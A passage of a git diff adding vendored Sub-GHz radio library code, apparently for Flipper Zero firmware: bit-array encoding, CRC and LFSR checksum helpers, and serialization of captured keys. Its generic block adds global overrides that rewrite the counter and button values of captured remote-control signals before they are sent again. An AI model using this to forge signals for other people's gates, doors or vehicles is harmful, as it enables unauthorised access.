+ * Add data bit when decoding.
+ * @param decoder Pointer to a SubGhzBlockDecoder instance
+ * @param bit data, 1bit
+ */
+void subghz_protocol_blocks_add_bit(SubGhzBlockDecoder* decoder, uint8_t bit);
+
+/**
+ * Add data to_128 bit when decoding.
+ * @param decoder Pointer to a SubGhzBlockDecoder instance
+ * @param head_64_bit Pointer to a head_64_bit
+ * @param bit data, 1bit
+ */
+void subghz_protocol_blocks_add_to_128_bit(
+    SubGhzBlockDecoder* decoder,
+    uint8_t bit,
+    uint64_t* head_64_bit);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param decoder Pointer to a SubGhzBlockDecoder instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_blocks_get_hash_data(SubGhzBlockDecoder* decoder, size_t len);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/encoder.c b/lib/subghz_unleashed_vendor/src/subghz/blocks/encoder.c
new file mode 100644
index 000000000..4968c5e40
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/encoder.c
@@ -0,0 +1,56 @@
+#include "encoder.h"
+#include "math.h"
+#include <core/check.h>
+
+#define TAG "SubGhzBlockEncoder"
+
+void subghz_protocol_blocks_set_bit_array(
+    bool bit_value,
+    uint8_t data_array[],
+    size_t set_index_bit,
+    size_t max_size_array) {
+    furi_check(set_index_bit < max_size_array * 8);
+    bit_write(data_array[set_index_bit >> 3], 7 - (set_index_bit & 0x7), bit_value);
+}
+
+bool subghz_protocol_blocks_get_bit_array(uint8_t data_array[], size_t read_index_bit) {
+    return bit_read(data_array[read_index_bit >> 3], 7 - (read_index_bit & 0x7));
+}
+
+size_t subghz_protocol_blocks_get_upload_from_bit_array(
+    uint8_t data_array[],
+    size_t count_bit_data_array,
+    LevelDuration* upload,
+    size_t max_size_upload,
+    uint32_t duration_bit,
+    SubGhzProtocolBlockAlignBit align_bit) {
+    size_t bias_bit = 0;
+    size_t size_upload = 0;
+    uint32_t duration = duration_bit;
+
+    if(align_bit == SubGhzProtocolBlockAlignBitRight) {
+        if(count_bit_data_array & 0x7) {
+            bias_bit = 8 - (count_bit_data_array & 0x7);
+        }
+    }
+    size_t index_bit = bias_bit;
+
+    bool last_bit = subghz_protocol_blocks_get_bit_array(data_array, index_bit++);
+    for(size_t i = 1 + bias_bit; i < count_bit_data_array + bias_bit; i++) {
+        if(last_bit == subghz_protocol_blocks_get_bit_array(data_array, index_bit)) {
+            duration += duration_bit;
+        } else {
+            if(size_upload > max_size_upload) {
+                furi_crash("SubGhz: Encoder buffer overflow");
+            }
+            upload[size_upload++] = level_duration_make(
+                subghz_protocol_blocks_get_bit_array(data_array, index_bit - 1), duration);
+            last_bit = !last_bit;
+            duration = duration_bit;
+        }
+        index_bit++;
+    }
+    upload[size_upload++] = level_duration_make(
+        subghz_protocol_blocks_get_bit_array(data_array, index_bit - 1), duration);
+    return size_upload;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/encoder.h b/lib/subghz_unleashed_vendor/src/subghz/blocks/encoder.h
new file mode 100644
index 000000000..71710fa14
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/encoder.h
@@ -0,0 +1,67 @@
+#pragma once
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#include <lib/toolbox/level_duration.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct {
+    bool is_running;
+    size_t repeat;
+    size_t front;
+    size_t size_upload;
+    LevelDuration* upload;
+
+} SubGhzProtocolBlockEncoder;
+
+typedef enum {
+    SubGhzProtocolBlockAlignBitLeft,
+    SubGhzProtocolBlockAlignBitRight,
+} SubGhzProtocolBlockAlignBit;
+
+/**
+ * Set data bit when encoding HEX array.
+ * @param bit_value The value of the bit to be set
+ * @param data_array Pointer to a HEX array
+ * @param set_index_bit Number set a bit in the array starting from the left
+ * @param max_size_array array size, check not to overflow
+ */
+void subghz_protocol_blocks_set_bit_array(
+    bool bit_value,
+    uint8_t data_array[],
+    size_t set_index_bit,
+    size_t max_size_array);
+
+/**
+ * Get data bit when encoding HEX array.
+ * @param data_array Pointer to a HEX array
+ * @param read_index_bit Number get a bit in the array starting from the left
+ * @return bool value bit
+ */
+bool subghz_protocol_blocks_get_bit_array(uint8_t data_array[], size_t read_index_bit);
+
+/**
+ * Generating an upload from data.
+ * @param data_array Pointer to a HEX array
+ * @param count_bit_data_array How many bits in the array are processed
+ * @param upload Pointer to a LevelDuration
+ * @param max_size_upload upload size, check not to overflow
+ * @param duration_bit duration 1 bit
+ * @param align_bit alignment of useful bits in an array
+ */
+size_t subghz_protocol_blocks_get_upload_from_bit_array(
+    uint8_t data_array[],
+    size_t count_bit_data_array,
+    LevelDuration* upload,
+    size_t max_size_upload,
+    uint32_t duration_bit,
+    SubGhzProtocolBlockAlignBit align_bit);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/generic.c b/lib/subghz_unleashed_vendor/src/subghz/blocks/generic.c
new file mode 100644
index 000000000..82fbc03c7
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/generic.c
@@ -0,0 +1,215 @@
+#include "generic.h"
+#include <lib/toolbox/stream/stream.h>
+#include <lib/flipper_format/flipper_format_i.h>
+
+#define TAG "SubGhzBlockGeneric"
+
+// Main things: subghz protocols working (serialize, deserialize, decode and encode)
+// with flipper_format data isolated from upper level subghz functions and structures.
+// So if we need change something inside of protocol data - we need use this API from protocols to get and set data
+
+SubGhzBlockGenericGlobal subghz_block_generic_global; //global structure for subghz
+
+void subghz_block_generic_global_counter_override_set(uint32_t counter) {
+    subghz_block_generic_global.new_cnt = counter; // set global variable
+    subghz_block_generic_global.cnt_need_override = true; // set flag for protocols
+}
+
+bool subghz_block_generic_global_counter_override_get(uint32_t* counter) {
+    // if override flag was enabled then return succes TRUE and return overrided counter, else return success = FALSE
+    // we cut counter bits length to available protocol bits length by the logical AND function
+    if(subghz_block_generic_global.cnt_need_override) {
+        *counter = subghz_block_generic_global.new_cnt &
+                   ((0xFFFFFFFF >> (32 - subghz_block_generic_global.cnt_length_bit)));
+        subghz_block_generic_global.cnt_need_override = false;
+        return true;
+    } else {
+        return false;
+    }
+}
+
+void subghz_block_generic_global_button_override_set(uint8_t button) {
+    subghz_block_generic_global.new_btn = button; // set global variable
+    subghz_block_generic_global.btn_need_override = true; // set flag for protocols
+}
+
+bool subghz_block_generic_global_button_override_get(uint8_t* button) {
+    // if override flag was enabled then return succes TRUE and return overrided button, else return success = FALSE
+    // we cut button bits length to available protocol bits length by the logical AND function
+    if(subghz_block_generic_global.btn_need_override) {
+        *button = subghz_block_generic_global.new_btn &
+                  ((0xFF >> (8 - subghz_block_generic_global.btn_length_bit)));
+        subghz_block_generic_global.btn_need_override = false;
+        return true;
+    } else {
+        return false;
+    }
+}
+
+void subghz_block_generic_global_reset(void* p) {
+    UNUSED(p);
+    // dont reset endless_tx, its used in protocols yield function to undless TX
+    bool tmp = subghz_block_generic_global.endless_tx;
+    memset(&subghz_block_generic_global, 0, sizeof(subghz_block_generic_global));
+    subghz_block_generic_global.endless_tx = tmp;
+}
+
+void subghz_block_generic_get_preset_name(const char* preset_name, FuriString* preset_str) {
+    const char* preset_name_temp;
+    if(!strcmp(preset_name, "AM270")) {
+        preset_name_temp = "FuriHalSubGhzPresetOok270Async";
+    } else if(!strcmp(preset_name, "AM650")) {
+        preset_name_temp = "FuriHalSubGhzPresetOok650Async";
+    } else if(!strcmp(preset_name, "FM238")) {
+        preset_name_temp = "FuriHalSubGhzPreset2FSKDev238Async";
+    } else if(!strcmp(preset_name, "FM12K")) {
+        preset_name_temp = "FuriHalSubGhzPreset2FSKDev12KAsync";
+    } else if(!strcmp(preset_name, "FM476")) {
+        preset_name_temp = "FuriHalSubGhzPreset2FSKDev476Async";
+    } else {
+        preset_name_temp = "FuriHalSubGhzPresetCustom";
+    }
+    furi_string_set(preset_str, preset_name_temp);
+}
+
+SubGhzProtocolStatus subghz_block_generic_serialize(
+    SubGhzBlockGeneric* instance,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_check(instance);
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    FuriString* temp_str;
+    temp_str = furi_string_alloc();
+    do {
+        stream_clean(flipper_format_get_raw_stream(flipper_format));
+        if(!flipper_format_write_header_cstr(
+               flipper_format, SUBGHZ_KEY_FILE_TYPE, SUBGHZ_KEY_FILE_VERSION)) {
+            FURI_LOG_E(TAG, "Unable to add header");
+            res = SubGhzProtocolStatusErrorParserHeader;
+            break;
+        }
+
+        if(!flipper_format_write_uint32(flipper_format, "Frequency", &preset->frequency, 1)) {
+            FURI_LOG_E(TAG, "Unable to add Frequency");
+            res = SubGhzProtocolStatusErrorParserFrequency;
+            break;
+        }
+
+        subghz_block_generic_get_preset_name(furi_string_get_cstr(preset->name), temp_str);
+        if(!flipper_format_write_string_cstr(
+               flipper_format, "Preset", furi_string_get_cstr(temp_str))) {
+            FURI_LOG_E(TAG, "Unable to add Preset");
+            res = SubGhzProtocolStatusErrorParserPreset;
+            break;
+        }
+        if(!strcmp(furi_string_get_cstr(temp_str), "FuriHalSubGhzPresetCustom")) {
+            if(!flipper_format_write_string_cstr(
+                   flipper_format, "Custom_preset_module", "CC1101")) {
+                FURI_LOG_E(TAG, "Unable to add Custom_preset_module");
+                res = SubGhzProtocolStatusErrorParserCustomPreset;
+                break;
+            }
+            if(!flipper_format_write_hex(
+                   flipper_format, "Custom_preset_data", preset->data, preset->data_size)) {
+                FURI_LOG_E(TAG, "Unable to add Custom_preset_data");
+                res = SubGhzProtocolStatusErrorParserCustomPreset;
+                break;
+            }
+        }
+        if(!flipper_format_write_string_cstr(flipper_format, "Protocol", instance->protocol_name)) {
+            FURI_LOG_E(TAG, "Unable to add Protocol");
+            res = SubGhzProtocolStatusErrorParserProtocolName;
+            break;
+        }
+        uint32_t temp = instance->data_count_bit;
+        if(!flipper_format_write_uint32(flipper_format, "Bit", &temp, 1)) {
+            FURI_LOG_E(TAG, "Unable to add Bit");
+            res = SubGhzProtocolStatusErrorParserBitCount;
+            break;
+        }
+
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->data >> (i * 8)) & 0xFF;
+        }
+
+        if(!flipper_format_write_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            res = SubGhzProtocolStatusErrorParserKey;
+            break;
+        }
+
+        // Nice One - Manual adding support
+        if(instance->data_count_bit == 72 &&
+           (strcmp(instance->protocol_name, "Nice FloR-S") == 0)) {
+            uint32_t temp = (instance->data_2 >> 4) & 0xFFFFF;
+            if(!flipper_format_write_uint32(flipper_format, "Data", &temp, 1)) {
+                FURI_LOG_E(TAG, "Unable to add Data");
+                break;
+            }
+        }
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+    furi_string_free(temp_str);
+    return res;
+}
+
+SubGhzProtocolStatus
+    subghz_block_generic_deserialize(SubGhzBlockGeneric* instance, FlipperFormat* flipper_format) {
+    furi_check(instance);
+
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    FuriString* temp_str;
+    temp_str = furi_string_alloc();
+    uint32_t temp_data = 0;
+
+    do {
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            res = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "Bit", (uint32_t*)&temp_data, 1)) {
+            FURI_LOG_E(TAG, "Missing Bit");
+            res = SubGhzProtocolStatusErrorParserBitCount;
+            break;
+        }
+        instance->data_count_bit = (uint16_t)temp_data;
+
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Missing Key");
+            res = SubGhzProtocolStatusErrorParserKey;
+            break;
+        }
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->data = instance->data << 8 | key_data[i];
+        }
+
+        res = SubGhzProtocolStatusOk;
+    } while(0);
+
+    furi_string_free(temp_str);
+
+    return res;
+}
+
+SubGhzProtocolStatus subghz_block_generic_deserialize_check_count_bit(
+    SubGhzBlockGeneric* instance,
+    FlipperFormat* flipper_format,
+    uint16_t count_bit) {
+    furi_check(instance);
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(instance, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(instance->data_count_bit != count_bit) {
+            FURI_LOG_D(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+    } while(false);
+    return ret;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/generic.h b/lib/subghz_unleashed_vendor/src/subghz/blocks/generic.h
new file mode 100644
index 000000000..788467a79
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/generic.h
@@ -0,0 +1,123 @@
+#pragma once
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#include <lib/flipper_format/flipper_format.h>
+#include <furi.h>
+#include <furi_hal.h>
+#include "../types.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzBlockGeneric SubGhzBlockGeneric;
+
+struct SubGhzBlockGeneric {
+    const char* protocol_name;
+    uint64_t data;
+    uint64_t data_2;
+    uint32_t serial;
+    uint16_t data_count_bit;
+    uint8_t btn;
+    uint32_t cnt;
+    uint8_t cnt_2;
+    uint32_t seed;
+};
+
+typedef struct SubGhzBlockGenericGlobal SubGhzBlockGenericGlobal;
+
+struct SubGhzBlockGenericGlobal {
+    uint32_t current_cnt; // current counter value;
+    uint32_t new_cnt; // new counter value;
+    bool cnt_need_override; // flag for protocols to override signals counter inside of protocols
+    uint8_t cnt_length_bit; // counter length in bits (used in counter editor giu)
+    bool cnt_is_available; // is there counter available for protocol (used in counter editor giu)
+
+    uint8_t current_btn; // current button value;
+    uint8_t new_btn; // new button value;
+    bool btn_need_override; // flag for protocols to override button inside of protocols
+    uint8_t btn_length_bit; // button length in bits (used in counter editor giu)
+    bool btn_is_available; // is there button available for protocol (used in button editor giu)
+
+    bool endless_tx; // used for endless/breakless transmission in subghz protols yield function (when user hold OK button)
+};
+
+extern SubGhzBlockGenericGlobal subghz_block_generic_global; //global structure for subghz
+
+/**
+ * Setup new_cnt and cnt_need_override flag to be used in protocols;
+ * @param counter new counter value;
+ */
+void subghz_block_generic_global_counter_override_set(uint32_t counter);
+
+/**
+ * Return true if incomming variable was overrided by new_cnt
+ * else return false and not change incomming variable
+ * @param counter pointer to counter variable that must be changed
+ */
+bool subghz_block_generic_global_counter_override_get(uint32_t* counter);
+
+/**
+ * Setup new_btn and btn_need_override flag to be used in protocols;
+ * @param button new button value;
+ */
+void subghz_block_generic_global_button_override_set(uint8_t button);
+
+/**
+ * Return true if incomming variable was overrided by new_btn
+ * else return false and not change incomming variable
+ * @param button pointer to counter variable that must be changed
+ */
+bool subghz_block_generic_global_button_override_get(uint8_t* button);
+
+/**
+ * Reset subghz_block_generic global structure;
+ */
+void subghz_block_generic_global_reset(void* p);
+
+/**
+ * Get name preset.
+ * @param preset_name name preset
+ * @param preset_str Output name preset
+ */
+void subghz_block_generic_get_preset_name(const char* preset_name, FuriString* preset_str);
+
+/**
+ * Serialize data SubGhzBlockGeneric.
+ * @param instance Pointer to a SubGhzBlockGeneric instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return Status Error
+ */
+SubGhzProtocolStatus subghz_block_generic_serialize(
+    SubGhzBlockGeneric* instance,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzBlockGeneric.
+ * @param instance Pointer to a SubGhzBlockGeneric instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return Status Error
+ */
+SubGhzProtocolStatus
+    subghz_block_generic_deserialize(SubGhzBlockGeneric* instance, FlipperFormat* flipper_format);
+
+/**
+ * Deserialize data SubGhzBlockGeneric.
+ * @param instance Pointer to a SubGhzBlockGeneric instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param count_bit Count bit protocol
+ * @return Status Error
+ */
+SubGhzProtocolStatus subghz_block_generic_deserialize_check_count_bit(
+    SubGhzBlockGeneric* instance,
+    FlipperFormat* flipper_format,
+    uint16_t count_bit);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/math.c b/lib/subghz_unleashed_vendor/src/subghz/blocks/math.c
new file mode 100644
index 000000000..226bb3e74
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/math.c
@@ -0,0 +1,244 @@
+#include "math.h"
+
+uint64_t subghz_protocol_blocks_reverse_key(uint64_t key, uint8_t bit_count) {
+    uint64_t reverse_key = 0;
+    for(uint8_t i = 0; i < bit_count; i++) {
+        reverse_key = reverse_key << 1 | bit_read(key, i);
+    }
+    return reverse_key;
+}
+
+uint8_t subghz_protocol_blocks_get_parity(uint64_t key, uint8_t bit_count) {
+    uint8_t parity = 0;
+    for(uint8_t i = 0; i < bit_count; i++) {
+        parity += bit_read(key, i);
+    }
+    return parity & 0x01;
+}
+
+uint8_t subghz_protocol_blocks_crc4(
+    uint8_t const message[],
+    size_t size,
+    uint8_t polynomial,
+    uint8_t init) {
+    uint8_t remainder = init << 4; // LSBs are unused
+    uint8_t poly = polynomial << 4;
+    uint8_t bit;
+
+    while(size--) {
+        remainder ^= *message++;
+        for(bit = 0; bit < 8; bit++) {
+            if(remainder & 0x80) {
+                remainder = (remainder << 1) ^ poly;
+            } else {
+                remainder = (remainder << 1);
+            }
+        }
+    }
+    return remainder >> 4 & 0x0f; // discard the LSBs
+}
+
+uint8_t subghz_protocol_blocks_crc7(
+    uint8_t const message[],
+    size_t size,
+    uint8_t polynomial,
+    uint8_t init) {
+    uint8_t remainder = init << 1; // LSB is unused
+    uint8_t poly = polynomial << 1;
+
+    for(size_t byte = 0; byte < size; ++byte) {
+        remainder ^= message[byte];
+        for(uint8_t bit = 0; bit < 8; ++bit) {
+            if(remainder & 0x80) {
+                remainder = (remainder << 1) ^ poly;
+            } else {
+                remainder = (remainder << 1);
+            }
+        }
+    }
+    return remainder >> 1 & 0x7f; // discard the LSB
+}
+
+uint8_t subghz_protocol_blocks_crc8(
+    uint8_t const message[],
+    size_t size,
+    uint8_t polynomial,
+    uint8_t init) {
+    uint8_t remainder = init;
+
+    for(size_t byte = 0; byte < size; ++byte) {
+        remainder ^= message[byte];
+        for(uint8_t bit = 0; bit < 8; ++bit) {
+            if(remainder & 0x80) {
+                remainder = (remainder << 1) ^ polynomial;
+            } else {
+                remainder = (remainder << 1);
+            }
+        }
+    }
+    return remainder;
+}
+
+uint8_t subghz_protocol_blocks_crc8le(
+    uint8_t const message[],
+    size_t size,
+    uint8_t polynomial,
+    uint8_t init) {
+    uint8_t remainder = subghz_protocol_blocks_reverse_key(init, 8);
+    polynomial = subghz_protocol_blocks_reverse_key(polynomial, 8);
+
+    for(size_t byte = 0; byte < size; ++byte) {
+        remainder ^= message[byte];
+        for(uint8_t bit = 0; bit < 8; ++bit) {
+            if(remainder & 1) {
+                remainder = (remainder >> 1) ^ polynomial;
+            } else {
+                remainder = (remainder >> 1);
+            }
+        }
+    }
+    return remainder;
+}
+
+uint16_t subghz_protocol_blocks_crc16lsb(
+    uint8_t const message[],
+    size_t size,
+    uint16_t polynomial,
+    uint16_t init) {
+    uint16_t remainder = init;
+
+    for(size_t byte = 0; byte < size; ++byte) {
+        remainder ^= message[byte];
+        for(uint8_t bit = 0; bit < 8; ++bit) {
+            if(remainder & 1) {
+                remainder = (remainder >> 1) ^ polynomial;
+            } else {
+                remainder = (remainder >> 1);
+            }
+        }
+    }
+    return remainder;
+}
+
+uint16_t subghz_protocol_blocks_crc16(
+    uint8_t const message[],
+    size_t size,
+    uint16_t polynomial,
+    uint16_t init) {
+    uint16_t remainder = init;
+
+    for(size_t byte = 0; byte < size; ++byte) {
+        remainder ^= message[byte] << 8;
+        for(uint8_t bit = 0; bit < 8; ++bit) {
+            if(remainder & 0x8000) {
+                remainder = (remainder << 1) ^ polynomial;
+            } else {
+                remainder = (remainder << 1);
+            }
+        }
+    }
+    return remainder;
+}
+
+uint8_t subghz_protocol_blocks_lfsr_digest8(
+    uint8_t const message[],
+    size_t size,
+    uint8_t gen,
+    uint8_t key) {
+    uint8_t sum = 0;
+    for(size_t byte = 0; byte < size; ++byte) {
+        uint8_t data = message[byte];
+        for(int i = 7; i >= 0; --i) {
+            // XOR key into sum if data bit is set
+            if((data >> i) & 1) sum ^= key;
+
+            // roll the key right (actually the LSB is dropped here)
+            // and apply the gen (needs to include the dropped LSB as MSB)
+            if(key & 1)
+                key = (key >> 1) ^ gen;
+            else
+                key = (key >> 1);
+        }
+    }
+    return sum;
+}
+
+uint8_t subghz_protocol_blocks_lfsr_digest8_reflect(
+    uint8_t const message[],
+    size_t size,
+    uint8_t gen,
+    uint8_t key) {
+    uint8_t sum = 0;
+    // Process message from last byte to first byte (reflected)
+    for(int byte = size - 1; byte >= 0; --byte) {
+        uint8_t data = message[byte];
+        // Process individual bits of each byte (reflected)
+        for(uint8_t i = 0; i < 8; ++i) {
+            // XOR key into sum if data bit is set
+            if((data >> i) & 1) {
+                sum ^= key;
+            }
+
+            // roll the key left (actually the LSB is dropped here)
+            // and apply the gen (needs to include the dropped lsb as MSB)
+            if(key & 0x80)
+                key = (key << 1) ^ gen;
+            else
+                key = (key << 1);
+        }
+    }
+    return sum;
+}
+
+uint16_t subghz_protocol_blocks_lfsr_digest16(
+    uint8_t const message[],
+    size_t size,
+    uint16_t gen,
+    uint16_t key) {
+    uint16_t sum = 0;
+    for(size_t byte = 0; byte < size; ++byte) {
+        uint8_t data = message[byte];
+        for(int8_t i = 7; i >= 0; --i) {
+            // if data bit is set then xor with key
+            if((data >> i) & 1) sum ^= key;
+
+            // roll the key right (actually the LSB is dropped here)
+            // and apply the gen (needs to include the dropped LSB as MSB)
+            if(key & 1)
+                key = (key >> 1) ^ gen;
+            else
+                key = (key >> 1);
+        }
+    }
+    return sum;
+}
+
+uint8_t subghz_protocol_blocks_add_bytes(uint8_t const message[], size_t size) {
+    uint32_t result = 0;
+    for(size_t i = 0; i < size; ++i) {
+        result += message[i];
+    }
+    return (uint8_t)result;
+}
+
+uint8_t subghz_protocol_blocks_parity8(uint8_t byte) {
+    byte ^= byte >> 4;
+    byte &= 0xf;
+    return (0x6996 >> byte) & 1;
+}
+
+uint8_t subghz_protocol_blocks_parity_bytes(uint8_t const message[], size_t size) {
+    uint8_t result = 0;
+    for(size_t i = 0; i < size; ++i) {
+        result ^= subghz_protocol_blocks_parity8(message[i]);
+    }
+    return result;
+}
+
+uint8_t subghz_protocol_blocks_xor_bytes(uint8_t const message[], size_t size) {
+    uint8_t result = 0;
+    for(size_t i = 0; i < size; ++i) {
+        result ^= message[i];
+    }
+    return result;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/blocks/math.h b/lib/subghz_unleashed_vendor/src/subghz/blocks/math.h
new file mode 100644
index 000000000..bee1bf733
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/blocks/math.h
@@ -0,0 +1,222 @@
+#pragma once
+
+#include <stdbool.h>
+#include <stdint.h>
+#include <stddef.h>
+
+#define bit_read(value, bit) (((value) >> (bit)) & 0x01)
+#define bit_set(value, bit)           \
+    ({                                \
+        __typeof__(value) _one = (1); \
+        (value) |= (_one << (bit));   \
+    })
+#define bit_clear(value, bit)         \
+    ({                                \
+        __typeof__(value) _one = (1); \
+        (value) &= ~(_one << (bit));  \
+    })
+#define bit_write(value, bit, bitvalue) (bitvalue ? bit_set(value, bit) : bit_clear(value, bit))
+#define DURATION_DIFF(x, y)             (((x) < (y)) ? ((y) - (x)) : ((x) - (y)))
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/** Flip the data bitwise
+ *
+ * @param      key        In data
+ * @param      bit_count  number of data bits
+ *
+ * @return     Reverse data
+ */
+uint64_t subghz_protocol_blocks_reverse_key(uint64_t key, uint8_t bit_count);
+
+/** Get parity the data bitwise
+ *
+ * @param      key        In data
+ * @param      bit_count  number of data bits
+ *
+ * @return     parity
+ */
+uint8_t subghz_protocol_blocks_get_parity(uint64_t key, uint8_t bit_count);
+
+/** CRC-4
+ *
+ * @param      message     array of bytes to check
+ * @param      size        number of bytes in message
+ * @param      polynomial  CRC polynomial
+ * @param      init        starting crc value
+ *
+ * @return     CRC value
+ */
+uint8_t subghz_protocol_blocks_crc4(
+    uint8_t const message[],
+    size_t size,
+    uint8_t polynomial,
+    uint8_t init);
+
+/** CRC-7
+ *
+ * @param      message     array of bytes to check
+ * @param      size        number of bytes in message
+ * @param      polynomial  CRC polynomial
+ * @param      init        starting crc value
+ *
+ * @return     CRC value
+ */
+uint8_t subghz_protocol_blocks_crc7(
+    uint8_t const message[],
+    size_t size,
+    uint8_t polynomial,
+    uint8_t init);
+
+/** Generic Cyclic Redundancy Check CRC-8. Example polynomial: 0x31 = x8 + x5 +
+ * x4 + 1 (x8 is implicit) Example polynomial: 0x80 = x8 + x7 (a normal
+ * bit-by-bit parity XOR)
+ *
+ * @param      message     array of bytes to check
+ * @param      size        number of bytes in message
+ * @param      polynomial  byte is from x^7 to x^0 (x^8 is implicitly one)
+ * @param      init        starting crc value
+ *
+ * @return     CRC value
+ */
+uint8_t subghz_protocol_blocks_crc8(
+    uint8_t const message[],
+    size_t size,
+    uint8_t polynomial,
+    uint8_t init);
+
+/** "Little-endian" Cyclic Redundancy Check CRC-8 LE Input and output are
+ * reflected, i.e. least significant bit is shifted in first
+ *
+ * @param      message     array of bytes to check
+ * @param      size        number of bytes in message
+ * @param      polynomial  CRC polynomial
+ * @param      init        starting crc value
+ *
+ * @return     CRC value
+ */
+uint8_t subghz_protocol_blocks_crc8le(
+    uint8_t const message[],
+    size_t size,
+    uint8_t polynomial,
+    uint8_t init);
+
+/** CRC-16 LSB. Input and output are reflected, i.e. least significant bit is
+ * shifted in first. Note that poly and init already need to be reflected
+ *
+ * @param      message     array of bytes to check
+ * @param      size        number of bytes in message
+ * @param      polynomial  CRC polynomial
+ * @param      init        starting crc value
+ *
+ * @return     CRC value
+ */
+uint16_t subghz_protocol_blocks_crc16lsb(
+    uint8_t const message[],
+    size_t size,
+    uint16_t polynomial,
+    uint16_t init);
+
+/** CRC-16
+ *
+ * @param      message     array of bytes to check
+ * @param      size        number of bytes in message
+ * @param      polynomial  CRC polynomial
+ * @param      init        starting crc value
+ *
+ * @return     CRC value
+ */
+uint16_t subghz_protocol_blocks_crc16(
+    uint8_t const message[],
+    size_t size,
+    uint16_t polynomial,
+    uint16_t init);
+
+/** Digest-8 by "LFSR-based Toeplitz hash"
+ *
+ * @param      message  bytes of message data
+ * @param      size     number of bytes to digest
+ * @param      gen      key stream generator, needs to includes the MSB if the
+ *                      LFSR is rolling
+ * @param      key      initial key
+ *
+ * @return     digest value
+ */
+uint8_t subghz_protocol_blocks_lfsr_digest8(
+    uint8_t const message[],
+    size_t size,
+    uint8_t gen,
+    uint8_t key);
+
+/** Digest-8 by "LFSR-based Toeplitz hash", byte reflect, bit reflect
+ *
+ * @param      message  bytes of message data
+ * @param      size     number of bytes to digest
+ * @param      gen      key stream generator, needs to includes the MSB if the
+ *                      LFSR is rolling
+ * @param      key      initial key
+ *
+ * @return     digest value
+ */
+uint8_t subghz_protocol_blocks_lfsr_digest8_reflect(
+    uint8_t const message[],
+    size_t size,
+    uint8_t gen,
+    uint8_t key);
+
+/** Digest-16 by "LFSR-based Toeplitz hash"
+ *
+ * @param      message  bytes of message data
+ * @param      size     number of bytes to digest
+ * @param      gen      key stream generator, needs to includes the MSB if the
+ *                      LFSR is rolling
+ * @param      key      initial key
+ *
+ * @return     digest value
+ */
+uint16_t subghz_protocol_blocks_lfsr_digest16(
+    uint8_t const message[],
+    size_t size,
+    uint16_t gen,
+    uint16_t key);
+
+/** Compute Addition of a number of bytes
+ *
+ * @param      message  bytes of message data
+ * @param      size     number of bytes to sum
+ *
+ * @return     summation value
+ */
+uint8_t subghz_protocol_blocks_add_bytes(uint8_t const message[], size_t size);
+
+/** Compute bit parity of a single byte (8 bits)
+ *
+ * @param      byte  single byte to check
+ *
+ * @return     1 odd parity, 0 even parity
+ */
+uint8_t subghz_protocol_blocks_parity8(uint8_t byte);
+
+/** Compute bit parity of a number of bytes
+ *
+ * @param      message  bytes of message data
+ * @param      size     number of bytes to sum
+ *
+ * @return     1 odd parity, 0 even parity
+ */
+uint8_t subghz_protocol_blocks_parity_bytes(uint8_t const message[], size_t size);
+
+/** Compute XOR (byte-wide parity) of a number of bytes
+ *
+ * @param      message  bytes of message data
+ * @param      size     number of bytes to sum
+ *
+ * @return     summation value, per bit-position 1 odd parity, 0 even parity
+ */
+uint8_t subghz_protocol_blocks_xor_bytes(uint8_t const message[], size_t size);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_configs.c b/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_configs.c
new file mode 100644
index 000000000..5a550ba5d
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/devices/cc1101_configs.c
